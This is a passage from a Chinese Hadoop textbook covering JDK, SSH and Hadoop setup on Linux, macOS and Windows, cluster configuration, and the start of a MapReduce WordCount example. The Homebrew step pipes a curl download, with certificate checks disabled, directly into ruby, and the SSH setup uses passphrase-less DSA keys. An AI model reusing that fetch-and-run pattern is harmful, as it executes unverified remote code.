1.6的具体步骤。\n（1）下载和安装JDK 1.6\n确保可以连接到互联网，从http：//www.oracle.com/technetwork/java/javase/downloads页面下载JDK 1.6安装包（文件名类似jdk-***-linux-i586.bin，不建议安装JDK 1.7版本，因为并不是所有软件都支持1.7版本）到JDK安装目录（本章假设IDK安装目录均为/usr/lib/jvm/jdk）。\n（2）手动安装JDK 1.6\n在终端下进入JDK安装目录，并输入命令：\nsudo chmod u+x jdk-***-linux-i586.bin\n修改完权限之后就可以进行安装了，在终端输入命令：\nsudo-s./jdk-***-linux-i586.bin\n安装结束之后就可以开始配置环境变量了。\n（3）配置环境变量\n输入命令：\nsudo gedit/etc/profile\n输入密码，打开profile文件。\n在文件最下面输入如下内容：\n#set Java Environment\nexport JAVA_HOME=/usr/lib/jvm/jdk\nexport CLASSPATH=\".：$JAVA_HOME/lib：$CLASSPATH\"\nexport PATH=\"$JAVA_HOME/：$PATH\"\n这一步的意义是配置环境变量，使系统可以找到JDK。\n（4）验证JDK是否安装成功输入命令：\njava-version\n会出现如下JDK版本信息：\njava version\"1.6.0_22\"\nJava（TM）SE Runtime Environment（build 1.6.0_22-b04）\nJava HotSpot（TM）Client VM（build 17.1-b03，mixed mode, sharing）\n如果出现上述JDK版本信息，说明当前安装的JDK并未设置成Ubuntu系统默认的JDK，接下来还需要手动将安装的JDK设置成系统默认的JDK。\n（5）手动设置系统默认JDK\n在终端依次输入命令：\nsudo update-alternatives--install/usr/bin/java java/usr/lib/jvm/jdk/bin/java 300\nsudo update-alternatives--install/usr/bin/javac javac/usr/lib/jvm/jdk/bin/javac 300\nsudo update-alternatives--config java\n接下来输入java-version就可以看到所安装的JDK的版本信息了。\n2.1.2 配置SSH免密码登录\n同样以Ubuntu为例，假设用户名为u：\n1）确认已经连接上互联网，然后输入命令：\nsudo apt-get install ssh\n2）配置为可以免密码登录本机。首先查看在u用户下是否存在.ssh文件夹（注意ssh前面有“.”，这是一个隐藏文件夹），输入命令：\nls-a/home/u\n一般来说，安装SSH时会自动在当前用户下创建这个隐藏文件夹，如果没有，可以手动创建一个。\n接下来，输入命令（注意下面命令中不是双引号，是两个单引号）：\nssh-keygen-t dsa-P''-f～/.ssh/id_dsa\n解释一下，ssh-keygen代表生成密钥；-t（注意区分大小写）表示指定生成的密钥类型；dsa是dsa密钥认证的意思，即密钥类型；-P用于提供密语；-f指定生成的密钥文件。在Ubuntu中，～代表当前用户文件夹，此处即/home/u。\n这个命令会在.ssh文件夹下创建id_dsa及id_dsa.pub两个文件，这是SSH的一对私钥和公钥，类似于钥匙和锁，把id_dsa.pub（公钥）追加到授权的key中去。\n输入命令：\ncat～/.ssh/id_dsa.pub＞＞～/.ssh/authorized_keys\n这条命令的功能是把公钥加到用于认证的公钥文件中，这里的authorized_keys是用于认证的公钥文件。\n至此免密码登录本机已配置完毕。\n3）验证SSH是否已安装成功，以及是否可以免密码登录本机。\n输入命令：\nssh-version\n显示结果：\nOpenSSH_5.8p1 Debian-7ubuntu1，OpenSSL 1.0.0e 6 Sep 2011\nBad escape character'rsion'.\n显示SSH已经安装成功了。\n输入命令：\nssh localhost\n会有如下显示：\nThe authenticity of host'localhost（：1）'can't be established.\nRSA key fingerprint is 8b：c3：51：a5：2a：31：b7：74：06：9d：62：04：4f：84：f8：77.\nAre you sure you want to continue connecting（yes/no）?yes\nWarning：Permanently added'localhost'（RSA）to the list of known hosts.\nLinux master 2.6.31-14-generic#48-Ubuntu SMP Fri Oct 16 14：04：26 UTC 2011 i686\nTo access official Ubuntu documentation, please visit：\nhttp：//help.ubuntu.com/\nLast login：Sat Feb 18 17：12：40 2012 from master\nadmin@Hadoop：～$\n这说明已经安装成功，第一次登录时会询问是否继续链接，输入yes即可进入。实际上，在Hadoop的安装过程中，是否免密码登录是无关紧要的，但是如果不配置免密码登录，每次启动Hadoop都需要输入密码以登录到每台机器的DataNode上，考虑到一般的Hadoop集群动辄拥有数百或上千台机器，因此一般来说都会配置SSH的免密码登录。\n2.1.3 安装并运行Hadoop\n介绍Hadoop的安装之前，先介绍一下Hadoop对各个节点的角色定义。\nHadoop分别从三个角度将主机划分为两种角色。第一，最基本的划分为Master和Slave，即主人与奴隶；第二，从HDFS的角度，将主机划分为NameNode和DataNode（在分布式文件系统中，目录的管理很重要，管理目录相当于主人，而NameNode就是目录管理者）；第三，从MapReduce的角度，将主机划分为JobTracker和TaskTracker（一个Job经常被划分为多个Task，从这个角度不难理解它们之间的关系）。\nHadoop有官方发行版与cloudera版，其中cloudera版是Hadoop的商用版本，这里先介绍Hadoop官方发行版的安装方法。\nHadoop有三种运行方式：单机模式、伪分布式与完全分布式。乍看之下，前两种方式并不能体现云计算的优势，但是它们便于程序的测试与调试，所以还是很有意义的。\n你可以在以下地址获得Hadoop的官方发行版：http：//www.apache.org/dyn/closer.cgi/Hadoop/core/。\n下载hadoop-1.0.1.tar.gz并将其解压，本书后续都默认将Hadoop解压到/home/u/目录下。\n（1）单机模式配置方式\n安装单机模式的Hadoop无须配置，在这种方式下，Hadoop被认为是一个单独的Java进程，这种方式经常用来调试。\n（2）伪分布式Hadoop配置\n可以把伪分布式的Hadoop看做只有一个节点的集群，在这个集群中，这个节点既是Master，也是Slave；既是NameNode，也是DataNode；既是JobTracker，也是TaskTracker。\n伪分布式的配置过程也很简单，只需要修改几个文件。\n进入conf文件夹，修改配置文件。\n指定JDK的安装位置：\nHadoop-env.sh：\nexport JAVA_HOME=/usr/lib/jvm/jdk\n这是Hadoop核心的配置文件，这里配置的是HDFS（Hadoop的分布式文件系统）的地址及端口号。\nconf/core-site.xml：\n＜configuration＞\n＜property＞\n＜name＞fs.default.name＜/name＞\n＜value＞hdfs：//localhost：9000＜/value＞\n＜/property＞\n＜/configuration＞\n以下是Hadoop中HDFS的配置，配置的备份方式默认为3，在单机版的Hadoop中，需要将其改为1。\nconf/hdfs-site.xml：\n＜configuration＞\n＜property＞\n＜name＞dfs.replication＜/name＞\n＜value＞1＜/value＞\n＜/property＞\n＜/configuration＞\n以下是Hadoop中MapReduce的配置文件，配置JobTracker的地址及端口。\nconf/mapred-site.xml：\n＜configuration＞\n＜property＞\n＜name＞mapred.job.tracker＜/name＞\n＜value＞localhost：9001＜/value＞\n＜/property＞\n＜/configuration＞\n接下来，在启动Hadoop前，需要格式化Hadoop的文件系统HDFS。进入Hadoop文件夹，输入命令：\nbin/Hadoop NameNode-format\n格式化文件系统，接下来启动Hadoop。\n输入命令，启动所有进程：\nbin/start-all.sh\n最后，验证Hadoop是否安装成功。\n打开浏览器，分别输入网址：\nhttp：//localhost：50030（MapReduce的Web页面）\nhttp：//localhost：50070（HDFS的Web页面）\n如果都能查看，说明Hadoop已经安装成功。\n对于Hadoop来说，启动所有进程是必须的，但是如果有必要，你依然可以只启动HDFS（start-dfs.sh）或MapReduce（start-mapred.sh）。\n关于完全分布式的Hadoop会在2.4节详述。\n2.2 在Mac OSX上安装与配置Hadoop\n由于现在越来越多的人使用Mac Book，故笔者在本章中增加了在Mac OS X上安装与配置Hadoop的内容，供使用Mac Book的读者参考。\n 2.2.1 安装Homebrew\nMac OS X上的Homebrew是类似于Ubuntu下apt的一种软件包管理器，利用它可以自动下载和安装软件包，安装Homebrew之后，就可以使用Homebrew自动下载安装Hadoop。安装Homebrew的步骤如下：\n1）从Apple官方下载并安装内置GCC编译器—Xcode（现在版本为4.2）。安装Xcode主要是因为一些软件包的安装依赖于本地环境，需要在本地编译源码。Xcode的下载地址为https：//developer.apple.com/xcode/。\n2）使用命令行安装Homebrew，输入命令：\n/usr/bin/ruby-e\"$（/usr/bin/curl-fksSL https：//raw.github.com/mxcl/homebrew/\nmaster/Library/Contributions/install_homebrew.rb）\"\n这个命令会将Homebrew安装在/usr/local目录下，以保证在使用Homebrew安装软件包时不用使用sudo命令。安装完成后可以使用brew-v命令查看是否安装成功。\n2.2.2 使用Homebrew安装Hadoop\n安装完Homebrew之后，就可以在命令行输入下面的命令来自动安装Hadoop。自动安装的Hadoop在/usr/local/Cellar/hadoop路径下。需要注意的是，在使用brew安装软件时，会自动检测安装包的依赖关系，并安装有依赖关系的包，在这里brew就会在安装Hadoop时自动下载JDK和SSH，并进行安装。\nbrew install hadoop\n2.2.3 配置SSH和使用Hadoop\n接下来需要配置SSH免密码登录和启动Hadoop。由于其步骤和内容与Linux的配置完全相同，故这里不再赘述。\n2.3 在Windows上安装与配置Hadoop\n 2.3.1 安装JDK 1.6或更高版本\n相对于Linux, JDK在Windows上的安装过程更容易，你可以在http：//www.java.com/zh_CN/download/manual.jsp下载到最新版本的JDK。这里再次申明，Hadoop的编译及MapReduce程序的运行，很多地方都需要使用JDK的相关工具，因此只安装JRE是不够的。\n安装过程十分简单，运行安装程序即可，程序会自动配置环境变量（在之前的版本中还没有这项功能，新版本的JDK已经可以自动配置环境变量了）。\n2.3.2 安装Cygwin\nCygwin是在Windows平台下模拟UNIX环境的一个工具，只有通过它才可以在Windows环境下安装Hadoop。可以通过下面的链接下载Cygwin：http：//www.cygwin.com/。\n双击运行安装程序，选择install from internet。\n根据网络状况，选择合适的源下载程序。\n进入select packages界面，然后进入Net，选中OpenSSL及OpenSSH（如图2-1所示）。\n图 2-1 勾选openssl及openssh\n如果打算在Eclipse上编译Hadoop，还必须安装Base Category下的sed（如图2-2所示）。\n图 2-2 勾选sed\n另外建议安装Editors Category下的vim，以便在Cygwin上直接修改配置文件。\n2.3.3 配置环境变量\n依次右击“我的电脑”，在弹出的快捷菜单中依次单击“属性”→“高级系统设置”→“环境变量”，修改环境变量里的path设置，在其后添加Cygwin的bin目录。\n2.3.4 安装sshd服务\n单击桌面上的Cygwin图标，启动Cygwin，执行ssh-host-config命令，当要求输入Yes/No时，选择输入No。当显示“Have fun”时，表示sshd服务安装成功。\n2.3.5 启动sshd服务\n在桌面上的“我的电脑”图标上右击，在弹出的快捷菜单中单击“管理”命令，启动CYGWIN sshd服务，或者直接在终端下输入下面的命令启动服务：\nnet start sshd\n2.3.6 配置SSH免密码登录\n执行ssh-keygen命令生成密钥文件。按如下命令生成authorized_keys文件：\ncd～/.ssh/\ncp id_rsa.pub authorized_keys\n完成上述操作后，执行exit命令先退出Cygwin窗口，如果不执行这一步操作，后续的操作可能会遇到错误。\n接下来，重新运行Cygwin，执行ssh localhost命令，在第一次执行时会有提示，然后输入yes，直接回车即可。\n2.3.7 安装并运行Hadoop\n在Windows上安装Hadoop与在Linux上安装的过程一样，这里就不再赘述了，不过有两点需要注意：\n1）在配置conf/hadoop-evn.sh文件中Java的安装路径时，如果路径之间有空格，需要将整个路径用双引号引起来。例如可以进行配置：\nexport JAVA_HOME=\"/cygdrive/c/Program Files/Java/jdk1.6.0_22\"\n其中cygdrive表示安装cygdrive之后系统的根目录。\n另外一种办法是在cygwin窗口使用类似下面的命令创建文件链接，使后面的文件指向Windows下安装的JDK，然后将conf/hadoop-env.sh中JDK配置为此链接文件：\n$ln-s/cygdrive/c/Program\\Files/Java/jdk1.6.0_22/usr/local/jdk\n2）在配置conf/mapred-site.xml文件时，应增加对mapred.child.tmp属性的配置，配置的值应为一个Linux系统的绝对路径，如果不配置，Job在运行时就会报错。具体配置为：\n＜property＞\n＜name＞mapred.child.tmp＜/name＞\n＜value＞/home/Administrator/hadoop-1.0.1/tmp＜/value＞\n＜/property＞\n同样需要在conf/core-site.xml文件中为hadoop.tmp.dir属性配置一个和mapred.child.tmp属性相似的绝对路径。\n2.4 安装和配置Hadoop集群\n 2.4.1 网络拓扑\n通常来说，一个Hadoop的集群体系结构由两层网络拓扑组成，如图2-3所示。结合实际应用来看，每个机架中会有30～40台机器，这些机器共享一个1GB带宽的网络交换机。在所有的机架之上还有一个核心交换机或路由器，通常来说其网络交换能力为1GB或更高。可以很明显地看出，同一个机架中机器节点之间的带宽资源肯定要比不同机架中机器节点间丰富。这也是Hadoop随后设计数据读写分发策略要考虑的一个重要因素。\n图 2-3 Hadoop的网络拓扑结构\n2.4.2 定义集群拓扑\n在实际应用中，为了使Hadoop集群获得更高的性能，读者需要配置集群，使Hadoop能够感知其所在的网络拓扑结构。当然，如果集群中机器数量很少且存在于一个机架中，那么就不用做太多额外的工作；而当集群中存在多个机架时，就要使Hadoop清晰地知道每台机器所在的机架。随后，在处理MapReduce任务时，Hadoop就会优先选择在机架内部做数据传输，而不是在机架间传输，这样就可以更充分地使用网络带宽资源。同时，HDFS可以更加智能地部署数据副本，并在性能和可靠性间找到最优的平衡。\n在Hadoop中，网络的拓扑结构、机器节点及机架的网络位置定位都是通过树结构来描述的。通过树结构来确定节点间的距离，这个距离是Hadoop做决策判断时的参考因素。NameNode也是通过这个距离来决定应该把数据副本放到哪里的。当一个Map任务到达时，它会被分配到一个TaskTracker上运行，JobTracker节点则会使用网络位置来确定Map任务执行的机器节点。\n在图2-3中，笔者使用树结构来描述网络拓扑结构，主要包括两个网络位置：交换机/机架1和交换机/机架2。因为图2-3中的集群只有一个最高级别的交换机，所以此网络拓扑可简化描述为/机架1和/机架2。\n在配置Hadoop时，Hadoop会确定节点地址和其网络位置的映射，此映射在代码中通过Java接口DNSToSwitchMaping实现，代码如下：\npublic interface DNSToSwitchMapping{\npublic List＜String＞resolve（List＜String＞names）；\n}\n其中参数names是IP地址的一个List数据，这个函数的返回值为对应网络位置的字符串列表。在opology.node.switch.mapping.impl中的配置参数定义了一个DNSToSwitchMaping接口的实现，NameNode通过它确定完成任务的机器节点所在的网络位置。\n在图2-3的实例中，可以将节点1、节点2、节点3映射到/机架1中，节点4、节点5、节点6映射到/机架2中。事实上在实际应用中，管理员可能不需要手动做额外的工作去配置这些映射关系，系统有一个默认的接口实现ScriptBasedMapping。它可以运行用户自定义的一个脚本区完成映射。如果用户没有定义映射，它会将所有的机器节点映射到一个单独的网络位置中默认的机架上；如果用户定义了映射，那么这个脚本的位置由topology.script.file.name的属性控制。脚本必须获取一批主机的IP地址作为参数进行映射，同时生成一个标准的网络位置给输出。\n2.4.3 建立和安装Cluster\n要建立Hadoop集群，首先要做的就是选择并购买机器，在机器到手之后，就要进行网络部署并安装软件了。安装和配置Hadoop有很多方法，这部分内容在前文已经详细讲解过（见2.1节、2.2节和2.3节），同时还告诉了读者在实际部署时应该考虑的情况。\n为了简化我们在每个机器节点上安装和维护相同软件的过程，通常会采用自动安装法，比如Red Hat Linux下的Kickstart或Debian的全程自动化安装。这些工具先会记录你的安装过程，以及你对选项的选择，然后根据记录来自动安装软件。同时它们会在每个进程结尾提供一个钩子执行脚本，在对那些不包含在标准安装中的最终系统进行调整和自定义时这是非常有用的。\n下面我们将具体介绍如何部署和配置Hadoop。Hadoop为了应对不同的使用需求（不管是开发、实际应用还是研究），有着不同的运行方式，包括单机式、单机伪分布式、完全分布式等。前面已经详细介绍了在Windows、MacOSX和Linux下Hadoop的安装和配置。下面将对Hadoop的分布式配置做具体的介绍。\n1.Hadoop集群的配置\n在配置伪分布式的过程中，大家也许会觉得Hadoop的配置很简单，但那只是最基本的配置。\nHadoop的配置文件分为两类。\n1）只读类型的默认文件：src/core/core-default.xml、src/hdfs/hdfs-default.xml、src/mapred/mapred-default.xml、conf/mapred-queues.xml。\n2）定位（site-specific）设置：conf/core-site.xml、conf/hdfs-site.xml、conf/mapred-site.xml、conf/mapred-queues.xml。\n除此之外，也可以通过设置conf/Hadoop-env.sh来为Hadoop的守护进程设置环境变量（在bin/文件夹内）。\nHadoop是通过org.apache.hadoop.conf.configuration来读取配置文件的。在Hadoop的设置中，Hadoop的配置是通过资源（resource）定位的，每个资源由一系列name/value对以XML文件的形式构成，它以一个字符串命名或以Hadoop定义的Path类命名（这个类是用于定义文件系统内的文件或文件夹的）。如果是以字符串命名的，Hadoop会通过classpath调用此文件。如果以Path类命名，那么Hadoop会直接在本地文件系统中搜索文件。\n资源设定有两个特点，下面进行具体介绍。\n1）Hadoop允许定义最终参数（final parameters），如果任意资源声明了final这个值，那么之后加载的任何资源都不能改变这个值，定义最终资源的格式是这样的：\n＜property＞\n＜name＞dfs.client.buffer.dir＜/name＞\n＜value＞/tmp/Hadoop/dfs/client＜/value＞\n＜fnal＞true＜/fnal＞//注意这个值\n＜/property＞\n2）Hadoop允许参数传递，示例如下，当tenpdir被调用时，basedir会作为值被调用。\n＜property＞\n＜name＞basedir＜/name＞\n＜value＞/user/${user.name}＜/value＞\n＜property＞\n＜property＞\n＜name＞tempdir＜/name＞\n＜value＞${basedir}/tmp＜/value＞\n＜/property＞\n前面提到，读者可以通过设置conf/Hadoop-env.sh为Hadoop的守护进程设置环境变量。一般来说，大家至少需要在这里设置在主机上安装的JDK的位置（JAVA_HOME），以使Hadoop找到JDK。大家也可以在这里通过HADOOP_*_OPTS对不同的守护进程分别进行设置，如表2-1所示。\n例如，如果想设置NameNode使用parallelGC，那么可以这样写：\nexport HADOOP_NameNode_OPTS=\"-XX：+UseParallelGC${HADOOP_NAMENODE_OPTS}\"\n在这里也可以进行其他设置，比如设置Java的运行环境（HADOOP_OPTS），设置日志文件的存放位置（HADOOP_LOG_DIR），或者SSH的配置（HADOOP_SSH_OPTS），等等。\n关于conf/core-site.xml、conf/hdfs-site.xml、conf/mapred-site.xml的配置如表2-2～表2-4所示。\n一般而言，除了规定端口、IP地址、文件的存储位置外，其他配置都不是必须修改的，可以根据读者的需要决定采用默认配置还是自己修改。还有一点需要注意的是，以上配置都被默认为最终参数（final parameters），这些参数都不可以在程序中再次修改。\n接下来可以看一下conf/mapred-queues.xml的配置列表，如表2-5所示。\n相信大家不难猜出表2-5的conf/mapred-queues.xml文件是用来做什么的，这个文件就是用来设置MapReduce系统的队列顺序的。queues是JobTracker中的一个抽象概念，可以在一定程度上管理Job，因此它为管理员提供了一种管理Job的方式。这种控制是常见且有效的，例如通过这种管理可以把不同的用户划分为不同的组，或分别赋予他们不同的级别，并且会优先执行高级别用户提交的Job。\n按照这个思想，很容易想到三种原则：\n同一类用户提交的Job统一提交到同一个queue中；\n运行时间较长的Job可以提交到同一个queue中；\n把很快就能运行完成的Job划分到一个queue中，并且限制queue中Job的数量上限。\nqueue的有效性很依赖在JobTracker中通过mapreduce.jobtracker.taskscheduler设置的调度规则（scheduler）。一些调度算法可能只需要一个queue，不过有些调度算法可能很复杂，需要设置很多queue。\n对queue大部分设置的更改都不需要重新启动MapReduce系统就可以生效，不过也有一些更改需要重启系统才能有效，具体如表2-5所示。\nconf/mapred-queues. xml的文件配置与其他文件略有不同，配置格式如下：\n＜queues aclsEnabled=\"$aclsEnabled\"＞\n＜queue＞\n＜name＞$queue-name＜/name＞\n＜state＞$state＜/state＞\n＜queue＞\n＜name＞$child-queue1＜/name＞\n＜properties＞\n＜property key=\"$key\"value=\"$value\"/＞\n……\n＜/properties＞\n＜queue＞\n＜name＞$grand-child-queue1＜/name＞\n……\n＜/queue＞\n＜/queue＞\n＜queue＞\n＜name＞$child-queue2＜/name＞\n……\n＜/queue＞\n……\n……\n……\n＜queue＞\n＜name＞$leaf-queue＜/name＞\n＜acl-submit-job＞$acls＜/acl-submit-job＞\n＜acl-administer-jobs＞$acls＜/acl-administer-jobs＞\n＜properties＞\n＜property key=\"$key\"value=\"$value\"/＞\n……\n＜/properties＞\n＜/queue＞\n＜/queue＞\n＜/queues＞\n以上这些就是Hadoop配置的主要内容，其他关于Hadoop配置方面的信息，诸如内存配置等，如果有兴趣可以参阅官方的配置文档。\n2.一个具体的配置\n为了方便阐述，这里只搭建一个有三台主机的小集群。\n相信大家还没有忘记Hadoop对主机的三种定位方式，分别为Master和Slave, JobTracker和TaskTracker, NameNode和DataNode。在分配IP地址时我们顺便规定一下角色。\n下面为这三台机器分配IP地址及相应的角色：\n10.37.128.2—master, namonode, jobtracker—master（主机名）\n10.37.128.3—slave, dataNode, tasktracker—slave1（主机名）\n10.37.128.4—slave, dataNode, tasktracker—slave2（主机名）\n首先在三台主机上创建相同的用户（这是Hadoop的基本要求）：\n1）在三台主机上均安装JDK 1.6，并设置环境变量。\n2）在三台主机上分别设置/etc/hosts及/etc/hostname。\nhosts这个文件用于定义主机名与IP地址之间的对应关系。\n/etc/hosts：\n127.0.0.1 localhost\n10.37.128.2 master\n10.37.128.3 slave1\n10.37.128.4 slave2\nhostname这个文件用于定义Ubuntu的主机名。\n/etc/hostname：\n“你的主机名”（如master, slave1等）\n3）在这三台主机上安装OpenSSH，并配置SSH可以免密码登录。\n安装方式不再赘述，建立～/.ssh文件夹，如果已存在，则无须创建。生成密钥并配置SSH免密码登录本机，输入命令：\nssh-keygen-t dsa-P''-f～/.ssh/id_dsa\ncat～/.ssh/id_dsa.pub＞＞～/.ssh/authorized_keys\n将文件复制到两台Slave主机相同的文件夹内，输入命令：\nscp authorized_keys slave1：～/.ssh/\nscp authorized_keys slave2：～/.ssh/\n查看是否可以从Master主机免密码登录Slave，输入命令：\nssh slave1\nssh slave2\n4）配置三台主机的Hadoop文件，内容如下。\nconf/Hadoop-env. sh：\nexport JAVA_HOME=/usr/lib/jvm/jdk\nconf/core-site. xml：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜！--Put site-specific property overrides in this file.--＞\n＜configuration＞\n＜property＞\n＜name＞fs.default.name＜/name＞\n＜value＞hdfs：//master：9000＜/value＞\n＜/property＞\n＜property＞\n＜name＞hadoop.tmp.dir＜/name＞\n＜value＞/tmp＜/value＞\n＜/property＞\n＜/configuration＞\nconf/hdfs-site. xml：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜！--Put site-specific property overrides in this file.--＞\n＜configuration＞\n＜property＞\n＜name＞dfs.replication＜/name＞\n＜value＞2＜/value＞\n＜/property＞\n＜/configuration＞\nconf/mapred-site. xml：\n＜?xml version=\"1.0\"?＞\n＜?xml-stylesheet type=\"text/xsl\"href=\"configuration.xsl\"?＞\n＜！--Put site-specific property overrides in this file.--＞\n＜configuration＞\n＜property＞\n＜name＞mapred.job.tracker＜/name＞\n＜value＞master：9001＜/value＞\n＜/property＞\n＜/configuration＞\nconf/masters：\nmaster\nconf/slaves：\nslave1\nslave2\n5）启动Hadoop。\nbin/Hadoop NameNode-format\nbin/start-all.sh\n你可以通过以下命令或者通过http：//master：50070及http：//master：50030查看集群状态。\nHadoop dfsadmin-report\n2.5 日志分析及几个小技巧\n如果大家在安装的时候遇到问题，或者按步骤安装完成却不能运行Hadoop，那么建议仔细查看日志信息。Hadoop记录了详尽的日志信息，日志文件保存在logs文件夹内。\n无论是启动还是以后会经常用到的MapReduce中的每一个Job，或是HDFS等相关信息，Hadoop均存有日志文件以供分析。\n例如：NameNode和DataNode的namespaceID不一致，这个错误是很多人在安装时都会遇到的。日志信息为：\njava.io.IOException：Incompatible namespaceIDs in/root/tmp/dfs/data：namenode\nnamespaceID=1307672299；datanode namespaceID=389959598\n若HDFS一直没有启动，读者可以查询日志，并通过日志进行分析，日志提示信息显示了NameNode和DataNode的namespaceID不一致。\n这个问题一般是由于两次或两次以上格式化NameNode造成的，有两种方法可以解决，第一种方法是删除DataNode的所有资料，第二种方法就是修改每个DataNode的namespaceID（位于/dfs/data/current/VERSION文件中）或修改NameNode的namespaceID（位于/dfs/name/current/VERSION文件中）。使其一致。\n下面这两种方法在实际应用也可能会用到。\n1）重启坏掉的DataNode或JobTracker。当Hadoop集群的某单个节点出现问题时，一般不必重启整个系统，只须重启这个节点，它会自动连入整个集群。\n在坏死的节点上输入如下命令即可：\nbin/Hadoop-daemon.sh start datanode\nbin/Hadoop-daemon.sh start jobtracker\n2）动态加入DataNode或TaskTracker。下面这条命令允许用户动态地将某个节点加入到集群中。\nbin/Hadoop-daemon.sh--config./conf start datanode\nbin/Hadoop-daemon.sh--config./conf start tasktracker\n2.6 本章小结\n本章主要讲解了Hadoop的安装和配置过程。Hadoop的安装过程并不复杂，基本配置也简单明了，其中有几个关键点：\nHadoop主要是用Java语言写的，它无法使用一般Linux预装的OpenJDK，因此在安装Hadoop前要先安装JDK（版本要在1.6以上）；\n作为分布式系统，Hadoop需要通过SSH的方式启动处于slave上的程序，因此必须安装和配置SSH。\n由此可见，在安装Hadoop前需要安装JDK及SSH。\nHadoop在Mac OS X上的安装与Linux雷同，在Windows系统上的安装与在Linux上有一点不同，就是在Windows系统上需要通过Cygwin模拟Linux环境，而SSH的安装也需要在安装Cygwin时进行选择，请不要忘了这一点。\n集群配置只要记住conf/Hadoop-env.sh、conf/core-site.xml、conf/hdfs-site.xml、conf/mapred-site.xml、conf/mapred-queues.xml这5个文件的作用即可，另外Hadoop有些配置是可以在程序中修改的，这部分内容不是本章的重点，因此没有详细说明。\n第3章 MapReduce计算模型\n本章内容\n为什么要用MapReduce\nMapReduce计算模型\nMapReduce任务的优化\nHadoop流\nHadoop Pipes\n本章小结\n2004年，Google发表了一篇论文，向全世界的人们介绍了MapReduce。现在已经到处都有人在谈论MapReduce（微软、雅虎等大公司也不例外）。在Google发表论文时，MapReduce的最大成就是重写了Google的索引文件系统。而现在，谁也不知道它还会取得多大的成就。MapReduce被广泛地应用于日志分析、海量数据排序、在海量数据中查找特定模式等场景中。Hadoop根据Google的论文实现了MapReduce这个编程框架，并将源代码完全贡献了出来。本章就是要向大家介绍MapReduce这个流行的编程框架。\n3.1 为什么要用MapReduce\nMapReduce的流行是有理由的。它非常简单、易于实现且扩展性强。大家可以通过它轻易地编写出同时在多台主机上运行的程序，也可以使用Ruby、Python、PHP和C++等非Java类语言编写Map或Reduce程序，还可以在任何安装Hadoop的集群中运行同样的程序，不论这个集群有多少台主机。MapReduce适合处理海量数据，因为它会被多台主机同时处理，这样通常会有较快的速度。\n下面来看一个例子。\n引文分析是评价论文好坏的一个非常重要的方面，本例只对其中最简单的一部分，即论文的被引用次数进行了统计。假设有很多篇论文（百万级），且每篇论文的引文形式如下所示：\nReferences\nDavid M.Blei, Andrew Y.Ng, and Michael I.Jordan.\n2003.Latent dirichlet allocation.Journal of Machine\nLearning Research，3：993-1022.\nSamuel Brody and Noemie Elhadad.2010.An unsupervised\naspect-sentiment model for online reviews.In\nNAACL'10.\nJaime Carbonell and Jade Goldstein.1998.The use of\nmmr, diversity-based reranking for reordering documents\nand producing summaries.In SIGIR'98，pages\n335-336.\nDennis Chong and James N.Druckman.2010.Identifying\nframes in political news.In Erik P.Bucy and\nR.Lance Holbert, editors, Sourcebook for Political\nCommunication Research：Methods, Measures, and\nAnalytical Techniques.Routledge.\nCindy Chung and James W.Pennebaker.2007.The psychological\nfunction of function words.Social Communication：\nFrontiers of Social Psychology, pages 343-\n359.\nG¨unes Erkan and Dragomir R.Radev.2004.Lexrank：\ngraph-based lexical centrality as salience in text summarization.\nJ.Artif.Int.Res.，22（1）：457-479.\nStephan Greene and Philip Resnik.2009.More than\nwords：syntactic packaging and implicit sentiment.In\nNAACL'09，pages 503-511.\nAria Haghighi and Lucy Vanderwende.2009.Exploring\ncontent models for multi-document summarization.In\nNAACL'09，pages 362-370.\nSanda Harabagiu, Andrew Hickl, and Finley Lacatusu.\n2006.Negation, contrast and contradiction in text processing.\n在单机运行时，想要完成这个统计任务，需要先切分出所有论文的名字存入一个Hash表中，然后遍历所有论文，查看引文信息，一一计数。因为文章数量很多，需要进行很多次内外存交换，这无疑会延长程序的执行时间。但在MapReduce中，这是一个WordCount就能解决的问题。\n3.2 MapReduce计算模型\n要了解MapReduce，首先需要了解MapReduce的载体是什么。在Hadoop中，用于执行MapReduce任务的机器有两个角色：一个是JobTracker，另一个是TaskTracker。JobTracker是用于管理和调度工作的，TaskTracker是用于执行工作的。一个Hadoop集群中只有一台JobTracker。\n 3.2.1 MapReduce Job\n在Hadoop中，每个MapReduce任务都被初始化为一个Job。每个Job又可以分为两个阶段：Map阶段和Reduce阶段。这两个阶段分别用两个函数来表示，即Map函数和Reduce函数。Map函数接收一个＜key, value＞形式的输入，然后产生同样为＜key, value＞形式的中间输出，Hadoop会负责将所有具有相同中间key值的value集合到一起传递给Reduce函数，Reduce函数接收一个如＜key，（list of values）＞形式的输入，然后对这个value集合进行处理并输出结果，Reduce的输出也是＜key, value＞形式的。\n为了方便理解，分别将三个＜key, value＞对标记为＜k1，v1＞、＜k2，v2＞、＜k3，v3＞，那么上面所述的过程就可以用图3-1来表示了。\n图 3-1 MapReduce程序数据变化的基本模型\n3.2.2 Hadoop中的Hello World程序\n上面所述的过程是MapReduce的核心，所有的MapReduce程序都具有图3-1所示的结构。下面我再举一个例子详述MapReduce的执行过程。\n大家初次接触编程时学习的不论是哪种语言，看到的第一个示例程序可能都是“Hello World”。在Hadoop中也有一个类似于Hello World的程序。这就是WordCount。本节会结合这个程序具体讲解与MapReduce程序有关的所有类。这个程序的内容如下：\npackage cn.edu.ruc.cloudcomputing.book.chapter03；\nimport java.io.IOException；\nimport java.util.*；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.conf.*；\nimport org.apache.hadoop.io.*；\nimport org.apache.hadoop.mapred.*；\nimport org.apache.hadoop.util.*；\npublic class WordCount{\npublic static class Map extends MapReduceBase implements Mapper＜LongWritable，\nText, Text, IntWritable＞{\nprivate final static IntWritable one=new IntWritable（1）；\nprivate Text word=new Text（）；\npublic void map（LongWritable key, Text value, OutputCollector＜Text，\nIntWritable＞output, Reporter reporter）throws IOException{\nString line=value.toString（）；\nStringTokenizer tokenizer=new StringTokenizer（line）；\nwhile（tokenizer.hasMoreTokens（））{\nword.set（tokenizer.nextToken（））；\noutput.collect（word, one）；\n}\n}\n}\npublic static class Reduce extends MapReduceBase implements Reducer＜Text，\nIntWritable, Text, IntWritable＞{\npublic void reduce（Text key, Iterator＜IntWritable＞values, OutputCollector＜Text，\nIntWritable＞output, Reporter reporter）throws IOException{\nint 